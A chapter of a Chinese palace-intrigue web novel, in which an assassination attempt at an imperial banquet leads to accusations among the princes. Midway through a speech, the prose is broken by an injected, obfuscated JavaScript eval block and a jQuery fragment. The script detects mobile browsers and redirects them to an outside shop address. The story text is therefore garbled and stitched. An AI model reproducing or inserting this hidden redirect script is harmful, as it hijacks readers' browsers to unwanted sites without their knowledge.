乐曲终了,天师以往总觉得此曲绵长无尽,如今却感到恋恋不舍,在殿中磨磨蹭蹭,不愿退下。
恰在此时,坐席前列有人高声开口:“这就罢了?良宵难得,儿臣见父皇雅兴正浓呢。”
他不认识那说话之人,不过高坐席上的皇帝显然对这话极为满意,侧首笑道:“承煜又有何新奇花样?”
“回禀父皇,儿臣听闻此地盛产荷花,民间自发编出了一种采莲舞。”楚承煜声音洪亮,目光毫不掩饰地直刺向屏风后方,“五皇嫂想必对此颇为熟悉,何不请皇嫂一展天然本色?”
话音落下,殿内霎时寂静无声,众人面面相觑,神色各异。天师则当是自己未能让皇帝尽兴,也惶惑不安地望向屏风。
那道单薄的影子晃了晃,似乎正要起身,近处忽然响起另一道男声。
“恐怕要令殿下失望,”那声音不似楚承煜张扬,冷淡而低沉,一如那双黑眸,“内子生于北地,不谙江南莲歌。”
“——不过,”不等楚承煜再次开口,他已起身走出席位,跪在殿前,“身为人子,自然不敢令父皇扫兴。儿臣昔年在街上曾偶见西域剑舞,愿献丑一试。”
几乎满殿的人都为此话一惊,似乎除了搞不清状况的自己,唯有那说话的楚明渊仍旧从容镇定。
他的眼眸深不见底,仿佛没有任何事能激起其中波澜,平静地仰视皇帝。
德玄帝自他方才一句“内子”,就一直沉着脸,此时方冷笑道:“好啊!朕倒要看看,朕的儿子能演什么好戏。”
楚承煜同样被那个词刺得面色铁青,添油加醋:“皇兄既自谦技艺生疏,何不让这些舞姬伴舞助兴?”
“自然。”楚明渊转头看向他,拱手道,“臣未备兵刃,可否借殿下佩剑一用?”
楚承煜猛地抽出佩剑掷去,因为太过气愤,不曾留意皇上那一瞬骤变的神色。
楚明渊接住剑,大步迈入战战兢兢的舞女之间,沉声道:
“请奏乐。”
乐声再起,天师被神使半请半拉地带离。临去前最后看到的,是因楚明渊滞涩剑招而哗然大笑的满座朱紫,与少数不忍再看的女眷,默默以扇掩面。
但他最在意的那个人,却出奇冷静。
霜序眼睛里放出的光芒几乎穿透屏风,他甚至微微向前倾身,一眨不眨地凝望场中那道身影。
恰如他自身遭遇奚落时,虽然能感受到楚承煜等人的恶意,内心深处却从未因几句轻贱、或是狎昵触碰而感到受辱。
他笃信,楚明渊亦是如此。
醉生梦死致黎民流离的衮衮诸公,非他们;为蝇头小利在朝堂撕咬的衣冠禽兽,非他们;将折辱他人视作消遣的膏粱子弟,更非他们——
既如此,他们有何可羞?有何可惧?
——
乐声渐急,趁众人的注意全在楚明渊身上,最末位的舞姬悄然垂下右臂。
一物自袖中滑出,贴着腕骨落入掌心。她借旋身之势仰首,眸光倏然锐利,果断扣下机括——
一道冷光无声疾掠而出,但就在转眼之际,楚明渊忽而横跨一步,大片阴影倾覆下来,吞没了那抹寒芒。
“——!”四周人声鼎沸,将舞姬刹那的失态淹没。
众人只见楚明渊身形微顿,再定睛看去,他左肩胛处透出冷光,竟是被一支三棱箭簇从后贯穿!
“——有刺客,护驾!”福公公失声惊叫,德玄帝吓得滑落龙椅,死死盯着那支钉在楚明渊肩上的箭矢——
若不是有人挡这一下,此刻被贯穿的该是他的心窝!
满座宾客顿时如惊弓之鸟四散奔逃,然而还没跑几步,楚临懿便拍案而起,朗声喝道:“即刻关闭殿门!今日在场之人,一个都不许走!”
“长公主此举何意?”一个年轻公子扒住门框,脸红脖子粗地质问,“明知有刺客混入席间,还要将我等困在此处,坐以待毙?”
“正是因那毒蛇尚藏殿内!”楚临懿目光凌厉地看来,“方才那支袖箭来处难辨,除却屏风后的女眷,在座诸位都有嫌疑。若让刺客趁乱脱逃,陛下安危谁来担待?还是说,在大人眼里,自己的性命比圣驾更重?”
“说得极是!”生死关头,德玄帝已然顾不上体面,几乎完全蜷缩在侍卫身后,颤声喊道,“给朕彻查!不揪出那逆贼,谁都不许踏出这大殿!”
“五弟。”楚临懿行至楚明渊面前,冷声问道,“你方才可曾察觉异样?”
“不曾。”从事发到现在,无人问及楚明渊的伤势,他也似习以为常,放下捂住伤口的手,便于楚临懿审视,“臣弟察觉时,箭已及身。”
闻言,舞姬险些再度失态。
她正与舞团其余人一并被侍卫按跪在地,忍不住抬头望向楚明渊,惊疑不定。
习武多年,她自然看得出来楚明渊方才那一步绝非偶然,定然是早早就盯上了她,并有所防备。
他为何要替她遮掩?
“皇兄,本王也着实好奇。”楚承煜拖着步子上前,靴底踏过地上血迹,嫌恶地皱了皱眉头,“为何这刺客偏偏在皇兄献艺时出手?”
楚明渊肩头的血仍在淅淅沥沥地滴落,德玄帝却仿若未见,眼中惊惧被疑色取代。
“安王殿下莫非忘了,是殿下亲自点臣上前献艺。”楚明渊冷冷道。
德玄帝又怀疑地看向楚承煜。
“那又如何?”楚承煜咬咬牙,“你上去之后的一举一动,难道也是由本王操纵?”
楚明渊摇头轻笑:“依殿下之意,臣是特意寻来刺客,替自己添个血窟窿?”
“你!谁知这是不是你自导自演的苦肉计!”
眼见众人皆被两位皇子的唇枪舌剑吸引,舞姬短暂茫然后,生出一个疯狂的念头。
原以为自己必死无疑,楚明渊的隐瞒却为她留下了生机。此时无人对她这个小小舞女多加防备,若能再制造些混乱,说不定能趁乱逃出去……
只是……
她扫向一旁,太子楚景琰正对眼前一幕冷眼旁观。与她四目相接时,他脸色剧变,眯起眼睛。
可此时此刻,这点威胁再难令她心生惧意。
她想起自己姐妹那具凄惨的尸身,心知即便任务成功,自己也难逃被灭口的结局,倒不如搏命一争!
眼中厉色乍现,她抬起手腕,锁定德玄帝前探的额心,再发一箭!
咔——!
腕间机关忽然发烫,紧接着,机括炸成了无数碎片。突如其来的动静引得不少人尖叫,房梁上闪下两条黑影,把舞姬死死按倒在地。
楚临懿弯腰拾起袖箭残片,道:“抓到了,竟是舞女。”
她语气虽然诧异,舞姬却在她起身的那一刻,捕捉到她唇边笑意——那是事态如其所料推进带来的从容与满足。
她瞬间恍然,猛地扭头看向屏风之后——
她的袖箭出自顶尖匠师之手,绝无可能在此紧要关头平白失灵。唯一的解释,就是宴席开始前霜序那一扶。
屏风后的影子明显低下了头,避开了她的视线。
“说!谁指使你行刺?”楚临懿厉声喝问。
她不语,颤抖地阖上双目。
方才那短短一刻,她还以为自己有望逃出棋局;可棋子终究是棋子,不过是从一盘棋落入另一盘罢了。
她正欲狠心咬舌,下颚及时被人扣住。
她睁开眼,楚明渊与楚临懿都在回头看她,让她不由得愣了愣。
那两道十分相似的目光似乎含着温度,绝不是看棋子的眼神。未及深想,楚临懿已微微偏头示意,武婢随即松开她下颚,一掌击晕了她。
“她还什么都没说,打晕她作甚?”德玄帝人虽躲在角落,嘴上却不肯闲着,远远指挥局面。
“她是死士,不会说的。”楚临懿对皇帝的慌乱置若罔闻,直接向楚承煜发难,“安王殿下,此事,你是否该给个交代?”
“你竟然怀疑本王?!”楚承煜怒目圆睁,“简直荒谬!”
“不该怀疑么?”楚临懿毫无退意,步步紧逼,“其一,今夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483878|201907||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是你执意要求皇子妃献艺;其二,也是你提议让舞姬与五皇子共舞,才使刺客有机会下手。殿下如何解释这种种巧合?”
楚承煜历来不是被众人捧着,就是被人畏惧,还是头一次被如此当众质问,焦躁难安:“本王不过是想羞辱霜序罢了,哪知舞姬里会混入刺客!”
“安王殿下与五皇子妃有何仇怨?”
“她设计毒害了本王的王妃!”楚承煜脱口而出。
他的确是想隐瞒此事以留霜序性命,可如今事态越来越不对,出于自保,他只得将昨日王妃突发急症、霜序借救治暗害其丧命之事和盘托出。
随着他的话语,屏风后女眷席间渐渐响起窃语。
楚临懿意味深长地打量他,缓缓开口:“安王怕是受人蒙蔽。昨日事发时,本宫就在现场,真正阻拦救治的另有其人。”
“臣女亦可作证。”一名贵女应声道,“起初正是五皇子妃出手为王妃缓解症状,后因大夫迟迟不至,才不得不继续施救。即便王妃最终遗憾仙去,此事也不能归咎于她。”
看着楚承煜张口结舌,楚临懿转向德玄帝,提高声音:“父皇,儿臣昨日已将行迹鬼祟之人拿下,只是当时事态未明,恐惊扰圣驾,才暂未禀报。”
德玄帝显然不满她自作主张,更厌恶这种被子女牵制的感觉;然此刻殿内波谲云诡,他只能倚仗女儿手腕,含混“唔”了一声。
楚临懿唇角一勾,再次逼近楚承煜:
“安王殿下,现在可以说了吗?究竟是谁告诉你五皇子妃谋害王妃,怂恿你做出今日一切?”
楚承煜脸色阴晴不定,不愿答话,但所有人皆心头雪亮。
为保此次出巡顺利,安王妃之死被当作丑闻掩下,众人亦不敢在楚承煜面前妄议此事;而能令性情暴戾的安王俯首帖耳、言听计从的,普天之下,唯有一人。
“长公主不必再逼迫承煜了。”终于,楚景琰优雅起身,施然踱步而来,“绕这么大圈子,不就是要孤认下这罪名?”
说着,他将手搭上了楚承煜肩头。楚承煜抖了抖,终究不曾挣脱。
“本宫不过是为父皇分忧。”楚临懿寒声道,“太子若觉冤枉,不妨同去审问那名宫女,当面对质。”
话至此处,在场宗亲贵胄人人面如土色,谁也未曾料到一场夜宴竟接连上演圣驾遇刺、皇子互讦,乃至储君被指为幕后黑手。
此事后续已非他们所能旁观,侍卫们奉令鱼贯而入,众人则迫不及待地离席。霜序也混在其间,向外走去。
踏出殿门前,他回眸望去,恰见德玄帝那双浑浊的眼睛在四个子女之间游移——掠过长公主沉静的侧脸,扫过安王惨白的面孔,最终凝在楚明渊肩头伤口上。
他恍若此刻才意识到那道伤是替自己而受,嘴唇哆嗦,往楚明渊身后缩了缩。
楚景琰的笑意因此淡去些许,抬眸直视楚临懿:
“自然。长公主请带路。”
——
殿外夜色沉沉,行宫上空不知何时已聚起浓重阴云,空气沉闷湿热,昭示夜雨将至。
众人各自散去,霜序踉踉跄跄地走到文澜阁前,终于再也坚持不住,弯腰呕吐。
他今夜什么都没吃,只吐出些苦水,却仍觉腹中如被刀绞,痛得满头大汗。
亲眼目睹那把棱箭钉入楚明渊体内,他仿佛也被同一箭贯穿,但也只能眼睁睁地看着,什么都不能做。
太子说得不错,今夜的一整出戏都是演给德玄帝看的。
不论是楚明渊、楚承煜,还是太子,他们做得再多,也只是皇子之争;能真正裁断胜负的,从来只有德玄帝。
而楚明渊的起点远低于其余人,唯有让德玄帝亲历刺杀之险,又亲耳听见楚承煜承认,方能从帝王那里换来一丝信任。
而此时,那场生死搏斗才刚刚拉开序幕。
霜序强撑膝盖站了起来,眼尾扫过阁内灯火,眸中光芒重新凝聚,清明而坚定。
在把楚明渊平安带回来之前,他还有自己的事要完成。